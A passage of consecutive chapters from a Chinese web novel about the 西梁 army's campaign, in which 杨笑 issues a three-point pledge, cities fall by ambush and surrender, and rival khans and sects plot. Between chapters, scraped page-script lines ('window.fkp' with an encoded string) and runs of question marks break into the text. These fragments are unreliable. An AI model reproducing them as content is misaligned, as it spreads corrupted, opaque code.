那个风车是他老早就看上了的玩具,可家里面的日子过的实在是有些紧张,他央求了爹娘好几天都没有舍得买给他。今天早上他又求了爹爹好一阵子,当爹的也是心疼儿子,咬咬牙就给他买了一个。 那知道心爱的玩具拿在手里还没有捂热乎呢,西梁兵就杀了进来,于是他爹就抱着他,和街上的所有人一样慌慌张张的往家里跑。等跑到他们家的胡同口时,不凑巧,被别人的肩膀碰到了他的胳膊,风车掉在了地上。 小家伙回到家里发现刚买的玩具不见了,生怕爹娘知道了打自一顿,所以呢,也不敢声张。得空的功夫,趁着爹娘没注意就偷偷地溜到了街上,想把那只风车捡回来。 小家伙拿着风车跑的飞快,结果拐弯的时候一个不小心,就摔了一跤。这一跤摔的真疼啊!小家伙趴在地上,他又疼又怕,于是就哭出了两眼泪花来。 就在小家伙哭的鼻涕一把泪一把的时候,一双穿着金丝步云履的脚站到了他的面前。那双靴子在小家伙的眼里真是好看,他还记得过年的时候爹娘带着他去逛庙会,他在庙会上看见的那些有钱人家的公子哥儿也没有穿这么好看的靴子的。 小家伙噙着眼泪抬头望去,他看到的是一个高大威武而且还很帅气的年轻将军站在他的面前。 那个年轻将军弯腰把他抱了起来,蹲在他的跟前帮他把眼泪和鼻涕擦干净了,又从地上捡起那只风车。风车摔在地上已经被摔的分了家,好在那上面的部件并没有什么损坏。年轻的将军把风车拼凑好,递到了小家伙的手里,又轻声地问他:“摔的疼不疼呢?” 小家伙也很实在,他点点头抽噎地回答道:“嗯,疼。”那年轻的将领在他头顶上摸了摸,又帮他拍掉了沾在身上的泥土说道:“去吧,回家去吧。” 小家伙转身朝着他家所在的胡同跑去,胡同里不知道什么时候已经有一对男女跪在地上,满眼焦急的看着跑向他们的小男孩。应该就是发现儿子不见了连忙出来寻找的,小家伙的爹娘。 等小男孩跑到跟前,夫妻俩一把将儿子抱在怀里,上上下下的在儿子身上看了一遍,发现儿子并没有受到什么伤害后这才放下心来。夫妻俩望向那名年轻的将军,年轻的将军向他们微微一笑。夫妻俩拉着儿子也跪在地上,一家三口向年轻的将军磕了几个头后起身往家里快步离去。 看着他们一家三口离开的身影,年轻的将领不由的就想起了自己那个即幸福又悲惨的童年。 “没想到杨将军还有如此铁骨柔情的一面。” 年轻的将军正是杨笑。杨笑听到马致远的话叹口气说道:“小时候家里遭了难,那时候小,除了只知道哭以外也没觉得还有别的什么不一样的地方,等后来长大了才渐渐的懂了一些事情,尤其是再过几个月我也要为人父母了,就更见不得小孩子哭了。” 李伯通也在旁边说道:“杨将军的一片仁慈之心也是这宝珠城内百姓们的福气。” 滞留在宝珠城内的客商们全都被招集到了县衙门前。当杨笑骑着黑虎出现在县衙门前时,那脱英武之气一下子震慑住了在场的所有人。客商们纷纷朝他跪拜,县衙门前的空地上密密麻麻的跪倒了一大片。 杨笑让众人起身却没有一个人敢站起来,杨笑上前扶起一位满头白发的老者:“老人家快快请起。” 那老者诚惶诚恐的站起身来,见杨笑脸上的笑容不似作伪,这才小心的向身旁的人招呼道:“大家也都起来吧!” 见此情景老者身边的人才敢慢慢地站了起来,其余的人也才敢跟着站了起来。 杨笑站在高处向下方众人高声道:“大家伙儿都不用害怕,我西梁大军也不是什么暴虐之师,绝对不会对大家有秋毫之犯,待城内形势稍有稳定之后就会放大家离去。说到底,咱们都是大周的子民,之所以起兵反抗朝庭,实非我家王爷所愿,这期中乃是另有隐情。稍后我会在城内张贴告示向大家说明,也希望大家回去之后能够向亲朋邻里多加诉说我家王爷的一片为民之心。在此我可以代表我家王爷效仿先贤向大家约法三章。” 听到杨笑的话,在场之人一阵交头接耳。这种事大家这辈子都是头一回碰上,谁也不知道该信还是不该信。很快在城内各处就张贴出了告示。告示的上半部分先说西梁王起兵的原因,什么朝庭如何如何无能,什么百姓们水深火热,什么当今皇帝怎样被奸臣所惑,什么西梁王如何如何忠君爱国又怎样怎样被害而险些丧命……。总之就是把朝庭说的一文不值,把西梁王抬的正义高大,完全是为国为民才迫不得已而起兵清君侧的。告示的后半部分就是西梁军对天下百姓作出的承诺: 凡西梁军,入城之后滥杀无辜者,斩! 奸淫妇女者,斩! 毁夺财物者斩! 杨笑效仿先贤对天下百姓许下的三条承诺究竟会有什么结果,欲知后事如何,且听下回分解! window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第九十七回 连下三城(一) 连下三城? 上一回说到杨笑在宝珠城内贴出告示向全天下的百姓约法三章。 老百姓们大多是不太会关心你西梁王为什么要跟朝庭打仗的,他们更关心的是自己的小生活会受到什么样的影响,那三条承诺你西梁军是不是真的能做到。 宝珠城的城门关了三天,城内的百姓们也在担惊受怕中议论了三天,而西梁军在这三天里对城内的百姓也当真是做到了秋毫无犯。不但如此,西梁军还帮着扑灭了城里的大火,帮助失去家园的百姓修整房屋。宝珠城内的百姓们渐渐的有些信了。 三日后,当宝珠城真的大开城门,城内客商百姓可自由离去的消息传遍宝珠城时,百姓们这才真的完全相信了告示上的话。离开宝珠城的人们也将西梁军在宝珠城里的所做所为传到了大周王朝的每一个角落。不过让杨笑没有想到的是,百姓们议论最多的并不是什么约法三章,而是把有关于他的事情传的神乎其神。在百姓们的口中把杨笑说成了一位骑着猛虎,混身浴火,从天而降的天神。 当杨笑在宝珠城内与百姓们约法三章的事情传到西梁王这里时,西梁王拍案叫绝,随即下命西梁军全军都要照此行事。 过了宝珠城再往前就是太和府。 太守康宁收到宝瓶口大败的消息时着实是吃了一惊。他早知道吕奇亮会败,但实在是没有想到他会败的这么快。自己把太和城里大半的兵马都借给了他,本以为会为各地赶来的援兵挣取一下时间,谁知道吕奇亮到了宝瓶口连屁股都没捂热乎呢,就被西梁军祭了旗。 宝瓶口一丢,这下子就把太和府给推到了风口浪尖上。现在太和城内兵力空虚,叫他如何抵挡来势汹汹的西梁军? 就在康太守急的团团转时,有下属来报:“禀太守,西临城王燕兴将军已率领两万兵马进入太和府境内,后天日落前即可抵达。” 康太守闻言大喜:“好!好!真是太好了!转告王将军,就说本太守已备下美酒佳肴,请他务必加快步伐。” 收到援兵的消息后康太守焦急的心情总算是平复了一些,他在屋里来回的渡了几步后又招来一名下属问道:“太康,太熙两城可有消息传来?” “回太守大人,太康城正在招集兵马,什么时候能出发还不太清楚,应该还需要三四天的样子,倒是太熙城据说明天日落之前就可开拔渡河赶来增援。”那名下属恭敬的回道。 “嗯!知道了,你下去吧。” “是,太守大人。” 不等那名下属退出门外康太守又道:“回来!” 那下属连忙又转回来:“太守大人您还有什么吩咐?” “催促一下太熙城,让他们务必加快速度。还有,继续关注西梁军的动向,一但有什么情况立刻向我汇报!” 那下属领命去了。 西梁军刚刚突破宝瓶口拿下宝珠城,应该没这么快就能打到太和城下,算算日子援兵应该能赶在西梁军之前到来,今天晚上康太守总算是能睡个好觉了。 第二天一早天刚蒙蒙亮,还在梦中神游的康太守就被急促的敲门声给惊醒了。一名下属着急忙慌的跑进来扑通一声跪在地上,一手指着门外结结巴巴的说道:“西……西……。” 康太守怒道:“慌什么!好好说!” 那名下属咽了下口水,缓了口气后说道:“西梁军来了。” 康太守惊坐而起:“什么?” “西梁军已经杀到城下了。”那名下属脸色难看到几乎要哭了出来。 康太守吓的跌坐到床上喃喃道:“来的这么快。” 下属见康太守坐在床上只顾着自己发呆就试探着问道:“大人……大人……?” 一连叫了几声,康太守这才回过神儿来。下属问道:“大人,我们现在该怎么办?” 康太守镇定了一下心神后问道:“王将军的兵马到哪儿了?” 那下属想了想回道:“今天晚上应该能到西河县。” 康太守急忙带人蹬上城楼察看敌情,只见西梁军正在西门外安营扎寨,看起来不像是要立刻攻城的样子。“西梁军只是在城外安营扎寨,即不围城也不攻城,难道……?”康太守一番思量后已然有了决断,忙向下属们吩咐道:“快去催促王将军和太熙、太康两城,就说西梁军先头已至太和城下,请他们务必速速来援!” 王燕兴,出身将门,家中四代皆在军中效力,其祖父曾官至正三品怀化将军。而如今的王燕兴更是青出于蓝而胜于蓝,近几年来其崛起之势说是如慧星一般也不为过,年纪轻轻就已官至从三品归德将军,相信再过上几年超越其祖父迈入二品也不是什么太难的事。 大周王朝平静了一百多年,深居内地的军队早已是刀枪入库,马放南山。再加上近几十年来朝中上下文武官员贪腐成风,军队的战备情况那就更是一摊糊涂了。 虽说近些年来因为边境上常有磨擦,地方上又不时冒出起义军来,朝庭对军队的战备情况也有所重视,不过那点可怜的投入经过层层的盘剥,真正能到了军队手里的那一星半点又能起到多大的作用呢? 许多地方上储备在仓库里的兵器甲胄早已是虫吃鼠咬,腐朽到了不堪一用的地步。而这也就直接导致了一个十分尴尬情况,那就是尽管西梁王调兵遣将准备了近一个月才向朝庭发难,而朝庭这边却连个像样的军队都拿不出来几支。好不容易攒出来的两万人马还被吕奇亮在宝瓶口给浪了个干净。 王燕兴的这支军队因为要经常处理边境上的一些磨擦,再加上前两年又参加了剿灭起义军的行动,所以是朝庭少有的几支装备精良的军队之一。 一接到朝庭的调令,王燕兴就立刻整备兵马赶往太和府。经过大半个月的行军,千里迢迢赶来的王家军早已是人困马乏,此时又接到了前方战事紧急让他加速驰援的消息后,王燕兴早在肚子里把前方那帮酒囊饭袋们给骂了个够。 骂归骂,骂完了还是得赶去救场。王燕兴传下军令:“分出五千兵马轻装简行随我连夜赶往太和城,其余人马押送辎重先到西河县,待明日天亮后再赶往太和城。” “是!”众军得令兵分两路。 王燕兴一路快马加鞭领着两千骑兵走在前面,后面的三千步军此时已被落下了十多里路。就在王燕兴匆忙赶路时,其身下的战马突然一声嘶鸣栽倒在地,王燕兴猝不及防之下也从马上跌了下来,跟在他后面的几匹马也纷纷摔倒在地。王燕兴这才看清原来是地上拉起了一根拌马索。 此时正值午夜,天色昏暗,马儿又跑的飞快,一时不察这才着了道。前面一阵人仰马翻,后面的人见前面出了状况立刻一勒缰绳,马儿们一个双蹄腾空纷纷嘶鸣着停了下来。这个时候王燕兴要是还不明白发生了什么情况那他这个从三品的将军可真就是白当了。“避箭!”王燕兴话音未落,四周已然响起了一阵破空声。 “嗖嗖嗖……。” “啊!啊!啊!……!” 密密麻麻的箭矢从四面八方射来跟本避无可避,王燕兴的骑兵们立刻发出一阵阵惨叫,死伤惨重。 箭雨过后四周亮起了数不清的火把,无数的西梁军蜂拥而至,战斗很快就毫无悬念的结束了。王燕兴受伤被俘,他听到的第一句话就是:“王将军,李某已恭候多时了。” window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第九十八回 连下三城(二) 一句“已恭候多时”让王燕兴立刻明白过来,什么西梁军先头方至城下,大队人马尚未赶到,人家这分明就是在背地里早已为自己安排好了一出围点打援的好戏。 王燕兴看清来人后冷冷道:“李伯通?” 来人正是有着八面玲珑心之称的李伯通。只见他摆出一副:就是我干的,你不服来打我的表情回答道:“嗯!就是区区在下。” 王燕兴冷哼一声:“哼!既然落到了你的手里要杀要剐悉听尊便,用不着在这里冷嘲热讽!” 李伯通听到王燕兴的话后马上换了一副表情,一本正经的缓缓说道:“王将军莫要生气,将军乃人中龙凤,我家将军慕名已久恨不得见,早已在我王面前保举了将军,还望王将军不要辜负了我家将军的一片美意。” “你家将军?”王燕兴疑惑道。 李伯通一捋胡须道:“不错,我家将军正是我西梁先锋将军,五公主附马,虎威将军杨笑是也。” ……。 王燕兴被生擒,西河县城内的守军不战而降。 晨曦中的潮天河上泛起了些许的白雾,雾虽然不太大,但依然遮挡住了不少的视线,让远处的景像处在一片朦胧之中,模模糊糊的看不甚清。 如果放在往常的话,此时的潮天河河面之上早已是十分的热闹,往来的大小船只穿梭不停,船公的号子声此起彼伏。今天的潮天河上也是同样的热闹,不过这份热闹却是来自于太熙城的守军。 天刚亮,太熙城的守军就开始了渡河。大批的人马都聚集在河岸上吵吵嚷嚷的,场面着实是有些混乱。这些人马当中只有一少半是大周朝庭的常备军,其余的大部分人多半都是用抓壮丁的方式临时拼凑出来的,用乌合之众来形容这支军队一点都不为过。本来朝庭常备军队的素质就不怎么样,再临时强行的拼凑来这么一大堆人,也难怪渡河的场面会如此混乱不堪了。 就在太熙城的人马正在乱糟糟的渡河时,远远的有一阵轰隆隆的马蹄声传来。那马蹄声犹如闷雷一般自天外滚滚而来,就在渡河的人马还没有搞清楚状况的时候,一支骑兵已然刺破了晨雾,伴随着身后扬起的滚滚尘烟出现在他们的视野中。这支骑兵的速度极快,转眼间就已近在眼前。 太熙城这边有人看清这支骑兵军队后惊叫道:“西梁军!是西梁军!” 话音未落一阵从天而降的箭雨便散在了太熙城人马的头顶上,人群里立刻响起了一片惨叫声。一阵箭雨还未落尽,紧接着又是一阵更大的箭雨,一时间太熙城这边被杀的人仰马翻。 与骑兵一起出现在的还有河面上的十数艘战船,这些战船顺流而下径直闯入了正在渡河的船队中。太熙城用来渡河的船只都是临时征调来的民船,这些民船有大有小,但不论大小又哪里能抗的住战船的冲撞。许多船只被撞翻在河里,更有甚者当场便直接被撞成了两截,船上的人马纷纷惊叫着落入水中挣扎不已。初春的河水还是十分冰凉的,这些落入水中的人只有一部分能够游回岸上,其余的大多数都在湍急的河水中被冻淹而死。 战船冲撞过来的同时也射出许多的箭矢来,那些没有被撞翻的船还有岸边的人就受到了这些箭矢的特殊照顾。 西梁军的战船冲入太熙城的船队时,另一边西梁军的骑兵也已经发起了冲锋。战马在人群中肆意的冲撞踩踏,马上的骑兵挥舞着手里的大刀长枪就如砍瓜切菜一般收割着敌军的人头。 骑兵们冲入人群中的时候河里的战船已经靠在了岸边,在箭矢的掩护下从船上冲下来许多的刀斧手。刀斧手们一手持刀斧一手持盾牌,一个个如同是杀神降临般冲入人群中又是一片砍瓜切菜般的屠杀。 两边的西梁军就像是在较劲一般,在太熙城的人马中大杀特杀。太熙城的人马大多数都是临时强抓来的壮丁,这些被抓来的壮丁平日里不是务农的农夫就是一些小商小贩,从来没有受过什么训练,一丁点儿两军对垒的经验都没有,这样的一支军队又怎么会是西梁军这般虎狼之师的对手。突然间受到西梁军的两面夹击,太熙城的人马立刻就四散溃逃,无论那些将军长官们怎么喝斥威胁都不管用。说一千道一万,说来说去还是自己的小命最重要。领军的将领也在惊恐万状中不可思议道:“西梁军不是在攻打太和城吗?怎么又突然出现在这里了?” 一万多人被两千多西梁兵打的溃不成军,四散而逃,领兵的将军们也都向城中逃命,而西梁军则尾随而至。 大军一路溃败逃回了太熙城。几个将军一路上策马狂奔,把手里的马鞭都要抽断了。人在急眼的情况下常常能发挥出超越自身水平的潜能来,要不是被西梁军拿刀抵在屁股后面,几位将军都不知道自己竟然还有这么好的马术。不等踏上护城河上的吊桥,骑在马背上的将领们就纷纷扯着嗓子叫道:“快收吊桥!快收吊桥!……!”完全不顾身后下属们的死活。 俗话说:人要是逼急了什么事都做的出来。哦,当然了,数学题除外。一些个逃命的士兵们见到自家将军们的这等做派,立刻急了眼,简直把肺都要气炸了:好家伙!西梁军逼我们,你们这帮狗娘养的也逼我们,这是要把我们往绝路上赶呀!一咬牙一跺脚,干脆一不做二不休,要死大家一块儿死。 眼瞅着骑马的过了护城河,而护城河上的吊桥已经缓缓的升了起来,几个逃命的士兵一个跳跃扒在了吊桥上。一条腿用力向上勾,双手再一使劲儿就爬上了吊桥。爬上吊桥的士兵们抡起手里的钢刀铁斧几下就砍断了吊桥上的绳索,轰隆一声吊桥落了下来。这下好了,大家伙儿都能进城了,追击而来的西梁骑兵也能进城了。 …………………………………………………………… window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第九十九回 连下三城(三) 太守张斐柱,生就一幅阴狠的面相。长了一身的肥肉,肥到脸上的肉都要挤到一块儿去了,就这也遮不住从他那双肉缝般的小眼睛里透出来的那股阴唳之气。无论是他的官场之道,还是治下之术都不曾亏了他这幅长相。这些年来张斐柱也不知道搜刮了多少的民脂民膏,害死了多少的善良无辜。无论是太熙城的百姓们还是张太守的下属们,甚至是他的朋友和上司们,都在背地里把张斐柱称作:张肥猪,肥阎王。 张太守送走了支援太和城的大军,回到家里刚端起碗来想要好好的祭一祭五脏庙,就见一个相貌俊俏的年轻奴仆满脸的慌张神色,一路跌跌撞撞的跑了进来。 这段时间来张太守就没有过一天的好心情,现在自己刚想要吃顿好的放松一下,这个不长眼的东西就来扫自己的兴,张太守不由的怒气横生,一脚蹬在那俊俏奴仆的肩头上:“该死的奴才,什么事把你吓成这样?” 那奴仆一路连滚带爬的跑到自家主子的跟前,结果还没等开口就被踹了一脚。年轻俊俏的奴仆“唉哟”一声翻了个跟头,虽然肩膀被踹的生疼,心里也早把这个该死的肥阎王的祖宗十八代都问候了个遍,但脸上却不敢有半点的不满流露出来。 年轻俊俏的奴仆忍着疼痛爬到张太守脚下,他抬起头一边指着外面一边磕磕巴巴的说道:“太守,不……不好了,西……西……。” “西什么西?信不信老爷我现在就送你归西!?”张太守怒睁着那双怎么睁都像是闭着的细缝喝斥道。 ?“……是西梁军,西梁军打进来了!”年轻的奴仆被肥阎王的淫威一吓,这才说话利索了点。 “啊!”张太守闻言大惊失色,“哐啷”一声,手里的碗也掉在了地上。那只银碗在地上“咕噜”了两圈滚到了那奴仆的跟前,年轻的奴仆吓的连忙往后退了退,就好像下一秒那只碗里就会窜出一条会咬人恶犬似的。 张太守只是稍稍愣了一下,很快就回过了神儿来:“快!备马!”他大叫一声拔腿就往外跑去。也顾不上平日里前拥后簇,左搀右扶的派头了,直把那一身肥肉都跑的上翻下颤。 跪在地上的俊俏奴仆从十来岁的时候就到了张太守的府里当差,因为颇有几分机灵劲儿,模样长的又好,所以就被张太守留在了身边听使唤。不过到底都是听些什么使唤,那就只有天知,地知,他知,呃……张太守知了。 这几年小奴仆跟着张太守也没少干些个见不得人的坏事,像那些个踹寡妇门、挖绝户坟、吃月子奶、欺老实人之类的事情那早已是习已为常。他深谙这肥阎王的德兴,知道自己的这位主子是万万做不出那种率领部下与西梁军大战三百回合的事情来的。 “肥阎王这是要跑路啊!”小奴仆一下子就猜到了张太守的打算。自己跟着主子这些年干了不少欺男霸女,缺德冒烟的坏事,要是丢了张太守这顶遮阳的大伞,等待自己的会是个什么样的下场他心里跟明镜儿似的。俊俏的小奴仆毫不犹豫的从地上爬起来,追着张肥猪的屁股后面就跑了出去。 太守张斐柱临阵脱逃,太熙城内群龙无首,被西梁军轻轻松松的就拿下了。 一个魁梧男子站在完好无损的太守府大厅内。男子身着金甲,一条猩红色的披风从他的肩头撒落,将男子衬托的更加英武不凡。金甲红袍的男子此时正将一只精美的瓷瓶拿在手上把玩着,一名传令军卒快步走入大厅后在男子的身后单膝跪拜道:“启禀大公子,城内敌军已尽数归降,太熙城已完全在我军掌控之中。” ?男子将瓷瓶轻轻的放于桌面之上:“我那妹夫说的话很有道理,你去传令,不得对城内百姓有秋毫之犯。”男子缓缓地转身显露一幅刚毅的容貌来,正是西梁王长子:武恭。 原来自杨笑夺取宝珠县之后,西梁王就又派出了两路大军,分别称为左右先锋军,将杨笑所率领的大军称为中路先锋军。统领右路先锋军的正是大公子武恭。而此时的左路先锋军正在太康城外将城池团团围住。 太和、太康、太熙,三座城池呈三足鼎立之势,其中以太和城首当其冲,太康、太熙为两翼,而西河县则正处于太和城的退路之上。现在的太和城援兵尽失,后路被断,两翼又被一斩一困,城下的西梁军更是虎视眈眈,真真的是:“叫天天不应,叫地地不灵。” 康太守实在是没有了办法,有心以身殉职与城池共存亡,又贪恋着家里的娇妻美妾、富贵荣华。就在康太守左右为难颓然不知所措之时,一名心腹谋士手持一柄羽箭来到太守府。康太守挥退身边哭哭啼啼的众妻妾,将名那心腹谋士招至厅中。 那名心腹谋士进入大厅向康太守一礼之后问道:“太守大人,如今我军已是必败之势,不知太守预做何打算?” 康太守示意那心腹落座,叹口气说道:“现如今还能有什么办法,唯有以死报效朝庭,与我太和城共存亡耳。”言词中颇有几分慷慨赴义的意思。 ?那谋士问道:“太守当真有此打算?” “唉!”康太守叹息一声道:“只是可惜了我这一家老小,要跟着我共赴死难了。”落寞失意之情又溢于言表。 “若是还有其它的选择太守又当如何呢?”谋士又问道。 康太守闻言神情一顿:“嗯?你这话是什么意思?” 那心腹谋士将手里的羽箭递过去:“太守不仿先看看这个再做决断。” 康太守接过羽箭,那羽箭上插了一张纸,打开后写的是一纸诏书。那心腹谋士开口道:“如今朝局混乱,吏治贪腐,百姓民不聊生,皇帝陛下又做出这等失义之事来,天下归心于西梁王乃是早晚的事情,太守不仿早些投靠明主以求安身立命。” 原来那是一张西梁王规劝天下文武共举义事的诏书。西梁王在诏书上痛诉君王昏庸,奸佞当道,明言若有举城归降亦或是率军投靠者可保身家无忧,前途无恙。 康太守看完诏书后久久沉默,那谋士上前道:“若是城破之时不但太守一家姓命难保,就是这一城的百姓们怕也是难以幸免,为家人计,为百姓计,太守当速做决断。” 康太守虽说为官做人都还说的过去,但终究不是什么忠义之士,更何况现在又有了这么一个不失大义的台阶下。故作犹豫再三后康太守重重一叹,低头道:“为今之计也只能如此了。”此话一出他自己都觉得肩膀上一松。 那谋士向康太守深深一礼道:“太守以全城百姓之安危而做此决断乃是大大的英明之举,在下替全城百姓谢过太守了。” 康太守低着头向那心腹谋士摆摆手道:“你去办吧。” 杨笑骑虎入城,康太守双手高举降表在城门处跪拜迎接:“太和城太守康宁跪迎杨将军。素闻将军神威,今日一睹将军威仪果然神兵天降,康宁及满城百姓深感王爷鸿恩,愿为王爷牵马坠蹬。” 太和城兵不血刃! ??????? ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百回 牵一发 ???太熙、太和两城尽失,只剩下孤零零的太康城,没了鼎足之势的太康城已是孤掌难鸣,很快也跟着举城投降了。三座主城被拿下后,周边的大小县城镇屯或是主动归降或是被轻松攻破,没多少天的功夫圣京城到二山关之间的地域已有近半被西梁军占据。 消息传到圣京城,皇帝武经大为震怒,短短数日就连失数座城池,惊怒之余在年轻皇帝的心底里更多的是一种隐隐的恐惧。 朝堂之上文武百官一个个垂首而立,一言不发。皇帝的目光一一地扫过在场的众文武,这些久居官场的老狐狸们眼睛就像是长在头顶上似的,皇帝的目光看向谁,谁就会立刻把本来就低着的脑袋再往下沉一沉。得亏是脖子不够长,否则的话还不得把那颗脑袋瓜子给缩到裤裆里头去。 王闻兴王太傅上前两步揖首道:“陛下稍安。西梁王突起发难,我军难免会有些措手不及,好在相距较近的几路援军已然赶到,相信不日就会有好消息传来。” 皇帝听到王太傅的话才想起来询问各路援兵的情况,转而问道:“贾将军,各处的援兵怎么样了?” 贾奉德上前一步抱拳俯首道:“回陛下,余川、茂宁、萧山,还有河津等几处共七万余援兵已然赶到陈塘、上宁一线,据报明后两日便可部署完毕,后续的十多万援军也会很快跟进。”贾奉德接着又说道:“包括东安、南越、北静三位藩王在内的各路诸侯,以及所有的州、府、郡、县也都在积极的整兵备战,相信很快就会有好消息传来。” 听到贾奉德的话,皇帝心里的那份不安总算是稍稍的平静了一些。 ……。 台阶山外一望无际的草原是狄绒族历代游猎的天堂。当代的狄戎族大可汗虽然说不上是一位雄才大略的圣主明君,却也是勤于政事。狄戎族在其治理下国力日盛,与武周王朝的颓败之势形成了鲜明对比。和历任狄戎族大可汗一样,这位大可汗也是一心想要吃下西梁境,好能借此入主关内统领天下。 周王朝南半边的强土早已入春,而此时的狄戎族还处在寒冬之中。凛冽的寒风吹起大可汗略显灰白的须发,却遮不住他那双充满野心的犀利眼眸。一个粗犷强壮的男子为大可汗披上一件黑色的貂绒斗篷。今天大可汗的心情似乎格外的好,他伸手整理了一下戴在头上的兜帽开口道:“这位西梁王反的好哇,他这一反就把武周最后一面遮风挡雨的高墙给推倒了,也不枉咱们辛苦准备了这么多年。” 他身边的粗犷汉子也随声附和道:“是啊!等了这么多年的机会终于要来了。” 大可汗一想到自己即将挥师南下一路势如破竹的场景,就不由得笑出声来:“这还得多亏了武周的新皇帝,硬是把手里的最后一张保命符给弃之不用,把本来还剩下的一点翻盘的机会生生的给浪费掉,搞的我都有点替他们惋惜了。” 那汉子再次附和道:“他们要是不内斗咱们还不好抓着机会。” 大可汗点头道:“嗯!这几百年难遇一次的机会咱们一定要把握好,不能辜负了上苍赐给我们的一份美意。”看样子大可汗对眼下的形式十分的满意,他很憧憬接下来将要发生的事情。“雪藩族那边联系的怎么样了?”大可汗转而问道。 粗犷汉子便是大可汗的长子阿霍都。在狄戎族大可汗的几个儿子里,这位长子最合大可汗的心意,说他有先祖之风。联系藩族的事情便一直由他负责:“父汗放心,雪藩族已经同意与我族结成联盟共取武周。” 这个结果早已在狄戎族大可汗的意料之中,所以他听到阿霍都的话后并不感到意外:“很好。武周那边先不要惊扰,让他们好好的打,等他们打到两败俱伤的时候才是最有利于我们的时候。” ……。 山中有福地,世外有天仙。一处不为世人所知的密境福地,这里峰峦叠嶂,林木葱郁,有溪水在山间流淌,有飞瀑自绝壁跌落,一派山青水秀的风光,满目钟灵毓秀的气象。一阵微风吹过,有飞檐翘角自林嶂树木间伸出,挂在屋角上的铃铛在风中发出一阵阵清脆悦耳的叮咚声。 一缕细细的青烟从香炉里袅袅的升起,淡淡的馨香充满了这座典雅古朴的大殿。一个美到足以让天下间所有的男人都为之心动的年轻女子慵懒的斜倚在一张木榻之上,展露出一条诱人的玲珑曲线。 女子如花似玉。身旁跪着的婢女手上托着一盏白玉盘,盘子里盛有一颗颗不知名的果子。仙果晶莹剔透,美人儿玉手柔荑。女子以一个慵懒而又极具美感的姿势将一杦果子放入檀口之中轻轻的嚼动,当真是应了古人那句:衔杯微动樱桃颗,咳唾轻飘茉莉香。唇喉蠕动间,瓠犀颗颗缀榴芳。 那年轻的女子虽是世上难得的美人儿,但站在殿内的几个人却是一个个眼观鼻,鼻观口,口观心,自始至终都不曾抬眼看那美丽的女子那怕是一眼,生怕这一眼便要在那双看似如盈盈秋水般的眼眸中永世沉沦难以自拨。 女子咽下口中的那颗仙果后向站在殿内的几人吩咐道:“木堂主那边的压力似乎还蛮大的,劳烦几位长老走动一下,也好让他们知道咱们可不是什么软柿子。” 人美,声音更美。只不过这份柔媚甜糯,如莺声燕语般的声音听在殿内几人的耳中,却在无形之中自带一份无上的威严。 殿内的几人有男有女,年长的白发苍苍,年轻一些的也已挂上了几丝银发。几人齐声称是后转身离去。待几个人的身影消失在殿外后一个拄杖老妪出现在殿内。这老妪满头银发,脸上布满了如沟壑一般的皱纹,瘦小且佝偻的身形走起路来颤颤巍巍的,仿佛一阵风就会把她吹倒似的。 老妪方一出现在殿内,倚在榻上的女子立刻一改先前的慵懒姿态,起身上前将老妪搀扶住。老妪边走边说道:“岛主若是能勤于修练,将修为早日臻至巅峰,这些宵小之徒又岂敢造次?那黑鹫山的小子就是借他几个狗胆,又哪敢跟咱们说半个不字?……。” 老妪唠唠叨叨的说着,那娇媚如花的女子却不爱听。方才还透出几分威仪气质的美貌女子此时全然换了一幅模样,就像是一个农家少女在向自己年迈的奶奶撒着娇。只见她向老妪娇声娇气的说道:“甄姨,你又开始说了。” ……。 漠天黄沙之中有一处低矮的古堡,古堡就地取材,通体由黄沙铸成。而这看似低矮普通的古堡,内里却别有洞天。 在古堡内的一处大厅之中,有三人盘坐其中,为首一人穿了一身青色衣衫,矮胖的身形盘坐在那里活像是在坐垫上墩了一个大冬瓜。只听那矮冬瓜用破锣般的嗓音开口道:“袁山主既然都这么说了黄某要是再拒绝的话就有些不够意思了。” 下方一名相貌颇为英俊但眉宇之间却带有几分阴邪之色的黑衣青年听到矮冬瓜的答复后点头道:“黄堡主肯借贵宝地一用真是再好不过,袁某定不会让黄堡主吃亏的。”黑衣青年转而向坐在他对面的一人说道:“到时候这世间少不得又要多出许多孤魂野鬼来,届时相信邬宗主的实力又能有所精进。” 在阴邪青年的对面坐着一个身形魁梧之人,此人的身上罩着一件厚厚的靛青色的袍子,只把脸露在外面。那身脏乱不堪的袍子极不合身,就像是从乱葬岗里的死人身上扒下来的。 干枯的头发像茅草垛一样蓬在他的头顶上,脸上的皮肤乌青干瘪,眼窝深陷,眼神空洞,眼珠子外面好像是没有眼皮,眼睛下面没有鼻梁,只剩下两个孔贴在那里,就连那张嘴也像是被什么东西给啃去了嘴唇似的,露出满嘴参差不齐,干枯黑腐的牙齿来。整个人看上去就像是一个死了不知道多少年的干尸一样。从他的头顶上和衣领间还有一丝丝的黑气缓缓的散发出来。 那干尸一样的人说话时也不见他的嘴上有什么动作,却有一句句话语声传出:“邬某小门小派,硬是插手其中实在是有些吃力呀!” 那干枯的声音仿佛是从地狱里传来的一般,阴森恐怖,令人毛骨悚然。 “邬宗主不必过于担心,有我和黄堡主在,谅那个小丫头也不敢怎样!”那邪异青年说道。 